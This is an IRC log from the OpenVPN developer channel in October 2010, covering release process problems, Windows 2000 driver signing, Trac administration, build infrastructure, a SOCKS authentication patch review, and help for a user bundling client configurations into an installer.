dazo 02:46 -!- dazo is now known as dazo_afk 03:02 -!- dazo_afk is now known as dazo 05:21 -!- dazo is now known as dazo_afk 06:50 -!- dazo_afk is now known as dazo 08:42 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:46 <@cron2> argh 10:47 <@cron2> the 2.1.3 windows 2000 installer "is not there" on the download page 10:55 <@dazo> heh ... nope ... 10:55 <@dazo> cron2: http://secure.openvpn.net/win/ 10:55 < vpnHelper> Title: Index of /win (at secure.openvpn.net) 11:04 <@cron2> what is *that* box? 11:12 <@dazo> a server James plays with, probably :) 11:14 * cron2 is unhappy with "our" release process 11:15 * dazo too 11:15 <@dazo> especially windows builds 11:19 <@cron2> oh, well, getting the 2.2-beta tarballs out wasn't *that* piece of cake either... 11:23 <@dazo> nope 11:31 * ecrist notes the 'our' process at least includes 'our' now instead of 'their' 11:32 <@dazo> well, it's "our" and not our yet .... so it's in progress, but not completely there yet :) 11:49 <@cron2> ecrist: yes. If I start calling it "their" or "your" process, I move myself away from it - but then, besides nagging mattock, I don't have any real influence yet, so the quotation marks... 11:49 * cron2 agrees with dazo :-) 11:50 < ecrist> work in progress, for sure. 11:50 < ecrist> I'm still trying to get more access to update perms/auth etc for the various community boxen 11:51 < ecrist> I've got access to the vpn, and the ldap server, and root on the forums, but that's it. 11:51 * ecrist needs trac admin privs, access to pwm/community box 11:51 <@cron2> oh yes, being able to take and close trac tickets would be useful :-) 11:52 < ecrist> you're why I need/want that access, so I can fix permissions for various folks, without mattock needing to step in. 11:52 < ecrist> the community should be self-sufficient 12:27 < ecrist> is there going to be a meeting today? 12:30 <@dazo> ouch ... I have completely forgotten about it today ... mattock didn't know if he would be able to make it even 12:31 * dazo is swamped with work on a new release this week 13:10 -!- mattock [~samuli@gprs-prointernet-ffaa6a00-71.dhcp.inet.fi] has joined #openvpn-devel 13:10 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:11 <@mattock> is there a meeting today? I've haven 13:12 <@dazo> mattock: I have not had time to think about it at all 13:12 <@mattock> t been able to check my mails in almost a week 13:12 <@mattock> ok 13:12 * dazo is completing stuff at work right now 13:12 <@mattock> ok, works for me, just got back to Finland 13:14 <@mattock> will be back on ~30 mins, crappy phone running out of battery :) 13:14 -!- mattock [~samuli@gprs-prointernet-ffaa6a00-71.dhcp.inet.fi] has left #openvpn-devel [] 13:44 -!- d457k [~heiko@88.130.205.248] has joined #openvpn-devel 13:44 -!- mode/#openvpn-devel [+o d457k] by ChanServ 13:45 <@d457k> no meeting tonight? 13:48 <@dazo> d457k: nope ... mattock has been travelling ... and I've been so busy I've forgotten it's Thursday today 13:49 <@d457k> ah well... would have been late anyways =) 13:50 <@d457k> about dropping the w2k support in 2.2. is this all about the tap dirver or are there other good reasons? 13:51 < ecrist> all about the tap driver, afaik 13:53 <@d457k> and tapinstall.exe aka devtap.exe 13:53 <@d457k> umm. no wait devcon.exe it is 14:02 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 14:02 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:03 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving] 14:04 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 14:04 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 14:04 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:04 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:08 <@dazo> d457k: yeah, driver signing to more correct ... the official driver kit from Microsoft won't support Win2K anymore 14:17 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 14:17 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:17 <@d457k> dazo: and the one supporting w2k wont cut it for w7? 14:17 <@d457k> i build a driver for w2k up to w7 and have heared no complaints so far 14:18 <@dazo> exactly 14:18 <@dazo> it's the driver signing which is the issue, only that 14:18 <@dazo> as far as I understood James 14:19 <@d457k> hm, i sign the w7 driver as well with the tool from the ddk 14:22 <@dazo> hmm 14:22 < ecrist> mattock: wb 14:26 -!- d303k [~heiko@vpn.astaro.de] has joined #openvpn-devel 14:26 -!- mode/#openvpn-devel [+o d303k] by ChanServ 14:26 -!- d457k [~heiko@88.130.205.248] has quit [Ping timeout: 264 seconds] 14:31 -!- dazo is now known as dazo_afk 14:36 -!- d303k [~heiko@vpn.astaro.de] has quit [Ping timeout: 240 seconds] 14:39 <@mattock> ecrist: thanks 14:39 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 14:39 < ecrist> did you get my email, re trac access? 14:39 < ecrist> gah 16:11 <@cron2> mmmh. the person complaining about windows + ipv6 (trac#61) just disappeared instead of testing my solution and reporting back.... 16:11 * cron2 goes to bed now 16:11 <@cron2> *yawn* 16:41 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:39 < vpnHelper> RSS Update - tickets: #62: Support SOCKS plain text authentication <https://community.openvpn.net/openvpn/ticket/62> 19:29 < krzie> [20:29] <vpnHelper> RSS Update - forum: Wishlist :: Re: Port Hopping... :: Reply by krzee <https://forums.openvpn.net/viewtopic.php?f=10&t=7162&p=7992#p7992> 19:29 < vpnHelper> Title: OpenVPN Support Forum View topic - Port Hopping... (at forums.openvpn.net) --- Day changed Fri Oct 08 2010 02:14 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:17 -!- dazo_afk is now known as dazo 03:45 <@cron2> so how long will mattock be travelling? 06:07 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 06:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:11 <@dazo> cron2: not too long ^^^ :-P 06:56 <@mattock> I'll be tweaking apache for a while, Trac may (or may not) be unavailable occasionally 07:08 < ecrist> mattock - re email, no worries about pwm, I have apache directory studio to get into ldap, trac admin I'm looking for is the ability to change people's permissions, etc. cron2 can't get to tickets and thus, can't close any or take any 07:08 <@mattock> ecrist: ok 07:32 <@cron2> mattock: so you're back? 07:33 <@mattock> cron2: that's true 07:33 <@cron2> great :-) lots of new things for your plate... 07:56 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 08:13 <@mattock> d12fk: are you there? 08:14 <@mattock> cron2: oh, everybody's got a list of things for me to do? ;) 08:22 < ecrist> cron2: is your wiki/trac login cron2, as well? 08:29 <@cron2> yepo 08:29 <@cron2> uh fat finger day 08:30 < ecrist> you have the same access as dazo, now, on trac 08:30 <@cron2> thanks 08:33 <@cron2> great, now the ticket is mine (MINE ALONE hehehehe!!) 08:36 <@cron2> heh, just stumbled about bug #23 - mattock: have we done "code security analysis" already? 08:36 <@mattock> cron2: not yet, but it's on the todo-list 08:37 * cron2 is curious what this tool will list - I think the code is in good shape, but hey, one never knows 08:38 <@mattock> if using coverity from the command-line is straightforward, integrating it to buildbot will be easy 08:38 <@mattock> otherwise it's gonna be a pain 08:38 <@mattock> there _is_ some sort of API that could be used, though 08:42 <@mattock> d12fk: I forwarded somebody who wanted to do a French translation (of something) towards OpenVPN-GUI 08:47 <@d12fk> mattock: hm, there's french already... 08:53 <@mattock> is there a list of translations somewhere? 08:53 <@mattock> and is there an active french translator? 09:06 <@mattock> chantra_afk et al: I finally configured TracNotifications: http://trac.edgewall.org/wiki/0.11/TracNotification 09:06 < vpnHelper> Title: 0.11/TracNotification – The Trac Project (at trac.edgewall.org) 09:06 <@mattock> now we can get spammed by Trac also 09:22 < ecrist> we're already getting spammed by trac here, at least. 09:23 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 09:25 <@mattock> ecrist: hmm... interesting 09:25 <@mattock> ecrist: you mean here in IRC? 09:26 <@mattock> I meant email notifications 09:26 <@mattock> btw. here's a nice video about Coverity code analysis tool to which we have a license: http://www.coverity.com/5-step-video-short/index.html 09:26 < vpnHelper> Title: Coverity 5 Step Video (at www.coverity.com) 09:26 <@mattock> the guy also has a nice Indian accent :) 09:33 < ecrist> yeah, was referring to vpnHelper's RSS feed 09:35 <@mattock> cron2: coverity (the company) seems to have a open source "Scan" project: http://scan.coverity.com/devfaq.html 09:35 < vpnHelper> Title: :: scan.coverity.com : Accelerating Open Source Quality :: (at scan.coverity.com) 09:35 <@mattock> so they basically do the scanning themselves and report their findings to project's developers 09:37 <@mattock> the OpenVPN Technologies, Inc <-> OpenVPN project relationship may be a problem 10:14 <@cron2> mattock: yes, we know :-) - this has been a meeting topic about 9 weeks ago, and I *think* it ended up on your TODO list... 10:15 <@cron2> btw, thanks for adding the e-mail notifications, that saves me from having to poll trac frequently for "has the reporter finally answered?"... 10:15 <@mattock> it's in there 10:16 <@mattock> cron2: no probs, TracNotification was long overdue and trivial to setup 10:17 <@mattock> I just asked James about our Coverity license (or whatever we have) 10:18 <@mattock> ...before going forward with it 10:19 <@cron2> ah 10:31 -!- Irssi: #openvpn-devel: Total of 16 nicks [6 ops, 0 halfops, 0 voices, 10 normal] 12:22 -!- dazo is now known as dazo_afk 12:58 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:58 < fkr> ahoi 15:58 < fkr> mattock? 15:58 <@mattock> fkr: yeö 15:58 <@mattock> oops 15:58 <@mattock> yep 15:59 <@mattock> you got my mail I presume 16:01 < fkr> hehe 16:01 < fkr> yes 16:01 < fkr> sure, I can 16:01 < fkr> (provide an openbsd buildslave) 16:01 <@mattock> ok, great! 16:02 <@mattock> would it be dedicated machine/VM? 16:02 < fkr> yes 16:02 < fkr> vm 16:02 <@mattock> neat, less hassle for you (and more for me :) 16:02 < fkr> nah, I can help you with that 16:02 < fkr> (if you want to) 16:02 < fkr> it only makes sense if it is openbsd-current 16:03 < fkr> so i will update it once per week to the latest greatest 16:03 <@mattock> how does the update work? is it just basically "tar -zxf filename"? 16:04 <@mattock> or does it use ports/packages 16:04 < fkr> using snapshots, extracting with tar 16:04 < fkr> i will have the vm up and running on monday 16:04 < fkr> am at eurobsdcon this weekend 16:05 <@mattock> and users' home directories are not affected? 16:05 < fkr> nope 16:05 <@mattock> ok, then it should work 16:05 <@mattock> there's usually a separate user (e.g. "buildslave") that's used for buildbot 16:06 <@mattock> and all buildbot files live in it's home directory 16:06 < fkr> sounds good, am readingg the wiki page right now 16:06 <@mattock> as long as dependencies are satisfied, updating the system should not break buildbot 16:06 <@mattock> ok, excellent! 16:06 < fkr> openvpn only takes lzo 16:06 < fkr> as a dependency 16:06 < fkr> oh 16:06 < fkr> for building 16:06 < fkr> sorry 16:07 < fkr> yes 16:07 < fkr> thats no problem either 16:07 <@mattock> yeah, you should be able to build openvpn first 16:07 <@mattock> buildbot requires python and twisted (=a python-based web framework) 16:07 <@mattock> probably those are available from ports 16:49 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 16:56 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 16:56 -!- ecrist changed the topic of #openvpn-devel to: IRC Host Cloaks Available to Users/Developers, talk to ecrist | OpenVPN testing source tree: git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git | Browse the git tree: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary | Weekly snapshots: ftp://ftp.secure-computing.net/pub/openvpn 16:56 -!- mode/#openvpn-devel [-t] by ecrist 16:56 -!- mode/#openvpn-devel [-o ecrist] by ecrist 18:09 -!- krzy [krzee@hemp.ircpimps.org] has joined #openvpn-devel 18:11 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 253 seconds] 18:11 -!- krzy [krzee@hemp.ircpimps.org] has quit [Client Quit] 18:18 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:58 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 18:59 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 18:59 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 18:59 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 21:08 < krzie> https://forums.openvpn.net/viewtopic.php?f=10&t=7162 21:08 < vpnHelper> Title: OpenVPN Support Forum View topic - Port Hopping... (at forums.openvpn.net) 21:15 * ecrist replies 22:27 < krzie> the forum is so much nicer to use now that cookies work right 22:49 < ecrist> what was wrong with them? 22:49 < ecrist> what didn't work? 23:12 -!- delroth [~delroth@dhaos.delroth.net] has joined #openvpn-devel 23:19 < krzie> staying logged in 23:19 < krzie> https://forums.openvpn.net/viewtopic.php?f=20&t=7139&p=7885&hilit=cookies#p7885 23:19 < vpnHelper> Title: OpenVPN Support Forum View topic - Auto-login / cookie issue fixed (at forums.openvpn.net) --- Day changed Sat Oct 09 2010 00:44 < krzie> https://forums.openvpn.net/viewtopic.php?f=4&t=7168&p=8018#p8018 00:44 < vpnHelper> Title: OpenVPN Support Forum View topic - What is the difference between tcp/tcp-server/tcp-client? (at forums.openvpn.net) 00:45 < krzie> i answered him, but i think the manual is missing something in --proto 00:45 < krzie> in fact it does not even mention --proto tcp 01:57 -!- d303k [~heiko@88.130.221.121] has joined #openvpn-devel 01:57 -!- mode/#openvpn-devel [+o d303k] by ChanServ 02:07 -!- d303k [~heiko@88.130.221.121] has quit [Ping timeout: 245 seconds] 02:31 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:26 -!- d303k [~heiko@88.130.221.121] has joined #openvpn-devel 03:26 -!- mode/#openvpn-devel [+o d303k] by ChanServ 03:52 -!- d303k [~heiko@88.130.221.121] has quit [Ping timeout: 255 seconds] 04:29 -!- SDE [~SDE@93-97-41-44.zone5.bethere.co.uk] has joined #openvpn-devel 04:29 < SDE> Hi guys 04:32 < SDE> Guys im looking to pay a developer 04:32 < SDE> to modify the OpenVPN client for me so the users do not have to add the configs manually 04:32 < SDE> I have seen this done before several times 04:37 < SDE> any recommendations? 04:52 <@cron2> well, this is more a matter of "bundling a ready-made config" than of "modifying the client" 04:53 < SDE> WELL i want it so when the cleint installs the software 04:53 < SDE> they dont have to faff about with configs 04:53 <@cron2> as I said: bundling client-specific config 04:53 < SDE> can you elaborate on that 04:54 < SDE> as my knowledge of openvpn is limited to some extent 04:54 <@cron2> well, I assume windows 04:54 <@cron2> the installer copies "stuff" to the hard disk 04:55 <@cron2> that "stuff" can contain a ready-made config file (but that implies "you have to build an installer for each client") 04:56 < SDE> AHH OK 04:56 < SDE> makes sense now :) 04:56 < SDE> so how do i edit the config within the installer? 04:57 < SDE> i have to recompile the installer? 04:58 <@cron2> well, the installer is built from "here's a list of files, here are the files, this is what to do with them" 04:58 < SDE> but the isntall is 1 .exe file :S 04:58 <@cron2> if you look into the openvpn source, there's a script "install-win32/buildinstaller" 04:59 <@cron2> this will call a toop "makensis" which will build the installer.exe 05:00 < SDE> thanks for all you're help :) 05:00 < SDE> appreciated :) 05:00 < SDE> do you mind doing it for me if i pay you? :P 05:02 < SDE> and the licences are $5 each is that each year or for that particular version or forever? 05:11 <@cron2> sde: sorry for being slow in responding, was talking to a customer 05:13 <@cron2> sde: what I can do for you is build scripts that you can then run locally to create the installer bundle with included keys+config 05:13 <@cron2> sde: is this all-windows or do you have linux systems as well? 05:14 < SDE> this is all windows mate 05:14 < SDE> thats would be great to be honest 05:14 <@cron2> :( - scripting on windows is much more convoluted than just building the stuff on linux 05:15 < SDE> hahaha tell me about it 05:17 <@cron2> ok, more info needed :-) - how is your setup currently done? Do you generate one client certificate per user, or do all users use the same certificate and authenticate with username+password only? 05:18 < SDE> well atm im ordering the server tomorrow 05:18 < SDE> so not setup yet 05:18 < SDE> but want to get the client side sorted 05:18 < SDE> which way do you recommend? 05:19 <@cron2> well. good question. having one-cert-for-all is easier (as you only need a single installer for all your users) 05:19 < SDE> perfect 05:19 < SDE> :) 05:19 < SDE> will do that 05:19 <@cron2> one-cert-per-user is easier on the server side, as you don't need to think about password authentication 05:20 <@cron2> password authentication requires hooking into "something" on the server side, openvpn itself only authenticates "is this cert valid?" and will defer user+pass authentication to plugins 05:21 < SDE> ahh ok 05:21 < SDE> but one-cert-for all users is best then 05:22 < SDE> just need to do a comparssion with paid version and not paid version 05:22 < SDE> to see te major difference 05:22 <@cron2> in that case, building the installer is mostly a one-shot effort (... for each new version of openvpn or your server config) - which is good, no scripting hassle etc. :-) - but I have no idea how to do user authentication on windows 05:23 <@cron2> well, of course there's OpenVPN AS as well. How much does that cost? 05:23 < SDE> $5 per licence 05:24 <@cron2> and the server side? 05:24 < SDE> free i think nothing states how much 05:24 <@cron2> or is that "server + client, everything" 05:24 < SDE> on the server side 05:24 < SDE> acorrding to site its everything 05:24 <@cron2> how many users do you have? 05:24 < SDE> well going to have around 30 05:25 <@cron2> ok, go for OpenVPN AS :-) - I think it will take at least a day to get the custom-installer and server setup and everything sorted out 05:25 < SDE> the AS is paid for verssion yes? 05:25 <@cron2> yes 05:26 <@cron2> (I'm not working for the company, I'm one of the "open source" developers, but I do sell "open source customization" if needed :-) ) 05:26 < SDE> ahh ok 05:26 < SDE> but you cant do the windows customisation for me? 05:26 < SDE> hold on let me pm you? 05:26 < SDE> :P 05:26 <@cron2> but for this price range, it doesn't make sense - we're talking 150$ license vs. "more cost for development" 05:28 <@cron2> just for the record - I *could* do it, but I'm not a real windows guru, so it takes its time, and would make this economically unfeasible compared to the paid-for version 05:34 -!- d303k [~heiko@88.130.221.121] has joined #openvpn-devel 05:34 -!- mode/#openvpn-devel [+o d303k] by ChanServ 05:35 <@cron2> ok, need to be away for a while, get some food for wife, otherwise pain for me :-) 06:23 -!- d303k [~heiko@88.130.221.121] has quit [Ping timeout: 264 seconds] 07:01 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 14:20 < krzee> SDE, the license stuff is only for access-server 14:21 < krzee> if you go to #openvpn and type !win_rollup you will see a walkthrough made by a dev in here 14:22 < krzee> but ya, like i think cron2 was saying... maybe you want access-server, it was basically made for you 14:23 < krzee> it was basically made for someone who would come in and say exactly what you said... and comes with real support (from openvpn technologies, as opposed to the community) 16:27 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 245 seconds] 23:10 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: Leaving] 23:36 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Sun Oct 10 2010 01:25 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:26 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 04:51 < delroth> hi, I posted a patch on the Trac two days ago (#62), does anyone know how much time it usually takes for a patch to be reviewed? (I'm curious :) ) 05:53 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 06:58 <@cron2> delroth: it depends on the complexity of the stuff, and we usually like the patches to be sent to the mailing list as well :-) 06:58 <@cron2> *looking now* 07:03 <@cron2> generally speaking it looks ok. Something that is not so pretty is code like this: 07:03 <@cron2> if (buf[0] != 5 && buf[1] != 0) 07:04 <@cron2> without explanation what "5/0" is supposed to signal 07:04 <@cron2> maybe this can be put like "if (buf[0] != SOCKS_AUTH_RESPONSE && buf[1] != SOCKS_AUTH_OK)... 07:05 <@cron2> (if these constants make any sense, I don't know the socks protocol) 08:33 -!- SDE [~SDE@93-97-41-44.zone5.bethere.co.uk] has quit [Ping timeout: 255 seconds] 10:20 -!- SDE [~SDE@93-97-41-44.zone5.bethere.co.uk] has joined #openvpn-devel 12:46 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 12:46 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 12:46 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:48 < SDE> does anyone know what spec server im going to need to run OpenVPN for 20-30 users? 14:05 < ecrist> Pentium 3 1.113GHz runs the 20 or so I have now, with 512MB ram 14:06 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 14:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:20 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 264 seconds] 16:40 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:45 < delroth> cron2: thanks, I'll fix this by adding a comment above the condition explaining what are the 5 and 0 (as it is done in other places in socks.c) 16:50 < delroth> and I'll send the patch to the mailing list too 20:06 < krzie> patch spammer! 20:06 < krzie> ;] 20:12 < delroth> :) 20:15 < krzie> btw thanx for that patch... was a wishlist entry of mine for quite awhile 20:15 < krzie> !wishlist 20:15 < vpnHelper> krzie: "wishlist" is https://forums.openvpn.net/viewforum.php?f=10 for the openvpn wishlist 20:15 < krzie> oh right, i linked that into the trac 20:16 < ecrist> what got patched? 20:25 < krzie> https://forums.openvpn.net/viewtopic.php?f=10&t=3790 20:25 < vpnHelper> Title: OpenVPN Support Forum View topic - authenticate to socks daemon (at forums.openvpn.net) 20:25 < krzie> link to trac in the forum post 20:28 < ecrist> sweet 20:30 < krzie> very sweet 20:30 < krzie> i will use that 20:30 < ecrist> as of now, I won't, but it's nice to have in there, since support was half there anyways 20:31 < krzie> when i connect to other peoples' vpns, i can do it from my public socks instead of needing to connect to my vpn to reach my private socks 20:31 < krzie> my private socks running inside my vpn doesnt need auth 20:34 < ecrist> delroth: let me find a way to approve that patch (at least insofar as it's not spam 20:34 < ecrist> krzie: do you want admin rights on the trac? 20:39 < krzie> sure, if you show me how to approve patches like this situation maybe it would do good 20:40 < ecrist> yeah, the problem with that is, I'm still learning. giving you admin would allow you to help categorize tickets and perhaps even resolve some tickets, since user tickets could end up in there. 20:41 < krzie> sure, im sure it wouldnt hurt anything 20:42 < ecrist> you should have perms now 20:43 < krzie> i must say i love the integration between trac/forum 20:44 < krzie> corp has done a good job re: things like that 20:44 < ecrist> yeah, I agree. 20:44 < ecrist> mattock's been a great catalyst for that, I think. 20:45 < krzie> yes 20:45 < krzie> strongly agree 20:50 < krzie> https://forums.openvpn.net/viewtopic.php?f=5&t=7154 20:50 < vpnHelper> Title: OpenVPN Support Forum View topic - TAP install Windows XP-SP3 fails (at forums.openvpn.net) 20:50 < krzie> that one is soo weird 20:50 < krzie> especially given how many people use xp-sp3 with openvpn all the time 20:51 < ecrist> at work we have a half dozen machines installed (windows) including XP SP3, Vista, 2K, and a couple Win7 20:51 < ecrist> no issues. 21:00 < krzie> i may have just found the FAQ entry for that guy :) 21:00 < krzie> "What to do if the installation of the TAP-Win32 driver fails?" 21:00 < krzie> hehe 21:05 < ecrist> nice 21:06 < ecrist> hopefully by week's end, my site will have a new (slightly better) look, and the wiki should look like it's properly integrated with the rest of my meager site. :) 21:08 < ecrist> hrm, it would seem factoids page hasn't updated since Sep 23 21:08 < ecrist> I will have to look into that tomorrow 21:09 < ecrist> Page last updated Thursday, 23 Sep 2010 15:00:01 -18000 21:15 * ecrist goes away --- Day changed Mon Oct 11 2010 02:35 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:53 -!- dazo_afk is now known as dazo 02:58 -!- reiffert [~thomas@mail.reifferscheid.org] has left #openvpn-devel [] 03:33 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 04:12 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 260 seconds] 05:35 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 09:17 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 09:17 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:40 -!- dazo is now known as dazo_afk 12:34 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: Connection reset by peer] 15:37 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 15:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:04 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: Operation timed out] 16:43 -!- dazo_afk is now known as dazo 16:46 -!- dazo is now known as dazo_afk 21:13 -!- asn [~fl@gentoo/developer/asn] has joined #openvpn-devel 21:15 < asn> Seems like the git link in your sourceforge page is dead. Is openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing the trunk you guys are working on? 21:15 < asn> (referring to the git link mentioned here: http://openvpn.net/index.php/open-source/345-openvpn-project.html) 21:15 < vpnHelper> Title: OpenVPN project (at openvpn.net) 21:35 < krzie> ahh 21:35 < krzie> community.openvpn.net 21:36 < krzie> oh n/m, it seems that page should be up to date 21:36 < krzie> !git 21:36 < vpnHelper> krzie: Error: "git" is not a valid command. 21:36 * krzie points at topic 21:37 < asn> oh alright :) 21:37 < asn> thank you krzie :) 21:37 < asn> me will be off! 21:37 -!- asn [~fl@gentoo/developer/asn] has left #openvpn-devel [] --- Day changed Tue Oct 12 2010 00:15 < krzee> his point is valid, the link on that page should be fixed 02:37 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:53 -!- dazo_afk is now known as dazo 03:04 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:04 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:06 <@dazo> cron2: This is the TP-Link router you recommend? http://www.amazon.de/gp/product/B002YETVTQ/ref=s9_simh_gw_p147_d0_i1?pf_rd_m=A3JWKAKR8XB7XF&pf_rd_s=center-2&pf_rd_r=1ZHS0MQMQCH71M4GQKT2&pf_rd_t=101&pf_rd_p=463375173&pf_rd_i=301128 03:26 < krzee> dazo, did you see this one? 03:26 < krzee> https://forums.openvpn.net/viewtopic.php?f=4&t=7168 03:26 < vpnHelper> Title: OpenVPN Support Forum View topic - What is the difference between tcp/tcp-server/tcp-client? (at forums.openvpn.net) 03:26 <@dazo> krzee: nope ... I'll answer it 03:26 < krzee> i did 03:28 <@dazo> yeah, noticed 03:29 < krzee> was i right? i dont get the error he mentions when i try it 04:01 <@cron2> dazo: yes 04:02 <@dazo> krzee: you're touching the right answer ... I'm trying to parse James code in socket.c ... to explain the difference a bit better ... and I think I've found some dead code again 04:05 <@dazo> gee ... James have claimed that threading makes the code more difficult due to the need of locking/mutexes .... but having just the management code in a separate thread must simplify the socket.c code ... 04:05 <@dazo> cron2: thx! 04:06 <@dazo> and then the fun part ... where you pass UDP to a proxy using TCP .... 04:07 <@cron2> dazo: I think the socket.c code needs some groundwork, it looks much more convoluted than should be necessary - and all the bits that people are wishing for ("multiple sockets") are basically already *there* (one socket for management listen, one socket for client connections, one socket per open tcp client) 04:08 <@dazo> cron2: yeah ... it's just pretty difficult to follow the code path right now .... I'm actually considering to add Doxygen tags, and start an attempt of documenting what I do understand ... and then you can get a graphical representation of the code path 04:31 <@mattock> we got the public test server now 04:32 <@dazo> \o/ 04:42 <@dazo> huh ... amazon.de won't ship to the Czech Republic!? .... grrr 04:43 <@cron2> mattock: wohoo! 04:44 <@mattock> now just configuring and it's done 04:44 <@dazo> grrr ... amazon.de requires shipment postbox when going abroad ... while inside germany, they cannot ship to postboxes .... lovely logic! 04:44 <@cron2> dazo: huh, weird 04:44 <@dazo> http://www.amazon.de/gp/help/customer/display.html?ie=UTF8&nodeId=505014&pop-up=1 04:44 < vpnHelper> Title: Amazon.de Hilfe: In welche Länder liefern Sie? (at www.amazon.de) 04:45 <@dazo> unless my German knowledge have fooled me 04:46 <@cron2> germany: no post box, indeed. For other countries, it's more "ask your local postal service about delivery to po boxes" 04:46 <@cron2> in general they *do* ship to .cz, but maybe not electronics 04:46 <@dazo> grmble 04:47 <@cron2> (and there are exceptions if the item is not sold by amazon themselves but by marketplace partners, so maybe that got you) 04:47 <@dazo> Yeah, I have colleagues who here told me they've ordered from amazon.de to CZ 04:47 <@dazo> that might be 04:47 <@dazo> Verkäufer: lets-sell! 04:47 <@dazo> yes, that's probably it 04:49 <@cron2> sometimes you can force amazon delivery - there's a button for "other offers" and in these cases the amazon price might be 1 EUR higher or so 04:50 <@cron2> ah, indeed, klick on "62 new" 04:50 <@cron2> then scroll down 04:50 <@cron2> amazon has it for 51,63 EUR 04:50 <@dazo> hmmm .... 04:51 <@cron2> ... and when you klick on "In den Einkaufswagen" *there*, you might be able to get it :-) 04:51 <@cron2> (I usually try to order from amazon directly and not from marketplace partners, if possible, to avoid additional parties involved) 04:51 <@dazo> yeah, that's worth a shot ... I didn't know Amazon had become a online shopping _centre_ 04:52 <@dazo> yeah, I thought that was the default ... I got fooled somewhere along the road here 04:52 <@cron2> default has become "who sells it cheapest" some time ago 04:52 <@mattock> fortunately Amazon partners seem to have standardized shipping rates etc... 04:52 <@dazo> hmmm 04:54 <@dazo> cron2: thx a lot! That fixed it! 04:56 <@dazo> then it's just to wait and see :) 04:56 <@dazo> cron2: did you also buy the GuruPlug from amazon? 04:57 * dazo has that as his next project .... but not yet 05:02 <@cron2> wtf, guruplug @ amazon? 05:02 * cron2 looks 05:02 <@cron2> oh, cool 05:03 <@cron2> not yet ("no time"), need to compare international price + shipping to amazon price - when I got my SheevaPlug, the .UK distributor was way more expensive than getting it from GlobalScale including their quite expensive shipping costs 05:04 <@cron2> ah, it's not amazon, it's "puremac-store" 05:10 <@dazo> Yeah, I just noticed a few rather vague indications on amazon, so didn't check it out in details ... not amazon, then probably figure out something else :) 05:44 <@cron2> dazo: so how is the git cleanup going? 06:05 <@dazo> cron2: that's a project for this week 06:05 <@mattock> dazo: I'll start setting up buildbot to parse git commit emails now 06:06 <@dazo> mattock: then you'll see some messages this week :) 06:06 <@mattock> requires some postfix configuration 06:06 <@dazo> (if you've setup git hooks on sf-net) 06:06 <@mattock> ok, great 06:07 <@mattock> 